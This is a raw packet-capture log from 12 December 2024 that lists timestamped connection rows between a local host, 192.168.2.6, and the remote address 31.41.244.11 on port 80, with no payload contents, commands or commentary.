Dec 12, 2024 21:50:10.635620117 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.635848999 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.635914087 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.643944979 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.644059896 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.644093990 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.644289017 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.652277946 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.652331114 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.652403116 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.660275936 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.660347939 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.660375118 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.660408974 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.667246103 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.667366028 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.667521954 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.667602062 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.749243021 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.749269962 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.749449015 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.749449015 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.778737068 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.778870106 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.778999090 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.778999090 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.780709028 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.780776024 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.780934095 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.781147003 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.785005093 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.785144091 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.785181046 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.785387039 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.789520025 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.789612055 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.789654970 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.789730072 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.793809891 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.793895960 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.793899059 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.793972015 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.798332930 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.798391104 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.798423052 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.798458099 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.802321911 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.802422047 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.802433014 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.802500963 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.806499958 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.806579113 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.806641102 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.806838989 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.810940981 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.811026096 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.811100960 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.811297894 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.815176010 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.815258026 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.815294981 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.815363884 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.819619894 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.819689989 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.819705963 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.819766045 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.823824883 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.823901892 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.823905945 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.823972940 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.828408957 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.828484058 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.828536034 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.828650951 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.832982063 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.833059072 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.833080053 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.833151102 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.837346077 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.837425947 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.837431908 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.837682962 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.841691017 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.841815948 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.842046022 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.846424103 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.846565962 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.846688986 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.846764088 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.850694895 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.850748062 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.850773096 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.850821972 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.854863882 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.854912043 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.854952097 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.855003119 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.859152079 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.859231949 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.859245062 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.859379053 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.863420963 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.863508940 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.863542080 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.863603115 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.867629051 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.867706060 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.867769003 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.867827892 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:10.871208906 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:10.871407986 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.044399977 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.044555902 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.055331945 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.055366039 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.055444956 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.055444956 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.059745073 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.059855938 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.164375067 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.164561987 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.174995899 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.175040960 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.175080061 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.175154924 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.179622889 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.179934978 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.284322023 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.284359932 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.284374952 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.284384012 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.284392118 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.284676075 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.284771919 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.284792900 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.284817934 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.284840107 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.284872055 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.284872055 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.284872055 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.284970999 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.285660028 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.285682917 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.285705090 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.285727024 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.285741091 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.285748959 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.285773039 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.285773039 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.285844088 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.286545038 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.286569118 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.286590099 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.286612034 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.286644936 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.286683083 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.287379980 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.287404060 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.287424088 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.287448883 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.287456036 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.287467003 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.287475109 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.287492990 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.287532091 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.288265944 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.288296938 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.288319111 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.288331032 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.288342953 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.288373947 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.288440943 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.289155960 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.289191961 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.289210081 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.289242983 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.289251089 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.289273977 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.289339066 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.289989948 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.290010929 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.290035009 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.290045023 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.290060043 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.290061951 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.290077925 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.290105104 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.290106058 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.290277958 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.290913105 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.290934086 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.290960073 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.290966988 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.290982008 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.290987015 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.291060925 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.291713953 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.291795969 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.291944981 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.291979074 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.292000055 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.292012930 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.292021990 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.292033911 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.292045116 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.292052984 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.292104959 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.292195082 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.292767048 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.292818069 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.292836905 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.292845011 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.292862892 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.292865038 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.292892933 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.292922974 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.293683052 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.293704033 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.293735981 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.293735981 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.293757915 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.293775082 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.293831110 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.294569969 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.294593096 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.294612885 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.294635057 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.294647932 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.294655085 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.294667959 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.294686079 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.294823885 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.295384884 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.295437098 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.295453072 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.295464993 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.295494080 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.295530081 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.295559883 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.296267033 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.296288013 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.296312094 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.296336889 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.296336889 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.296354055 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.296372890 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.296386957 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.296438932 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.297092915 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.297173023 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.297194004 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.297209978 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.297216892 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.297230005 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.297243118 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.297249079 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.297271013 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.297291994 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.298057079 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.298078060 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.298119068 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.298127890 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.298127890 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.298139095 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.298171997 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.298209906 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.298883915 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.298898935 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.298937082 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.298952103 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.298952103 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.298958063 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.298985004 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.299206972 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.299774885 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.299820900 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.299849033 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.299854040 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.299887896 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.299933910 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.300343037 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.300364017 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.300416946 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.300417900 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.405319929 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.405443907 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.405491114 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.406925917 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.406948090 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.406991959 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.407114983 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.409811020 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.409987926 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.410079002 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.412985086 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.413009882 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.414889097 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.415930986 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.416043997 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.416285038 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.416567087 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.418943882 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.418966055 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.419001102 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.421750069 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.421972990 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.422152042 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.422324896 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.425173044 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.425308943 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.425344944 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.427146912 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.427278996 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.427503109 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.427561998 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.429212093 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.429275990 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.429379940 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.429621935 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.431221008 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.431246042 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.431279898 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.431310892 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.433139086 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.433259010 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.433324099 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.433378935 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.434533119 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.434591055 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.434703112 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.434762001 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.437421083 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.437500000 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.438707113 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.438769102 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.439716101 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.439735889 CET	80	49878	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:11.439771891 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.439801931 CET	49878	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:11.441051006 CET	80	49878	31.41.244.11	192.168.2.6
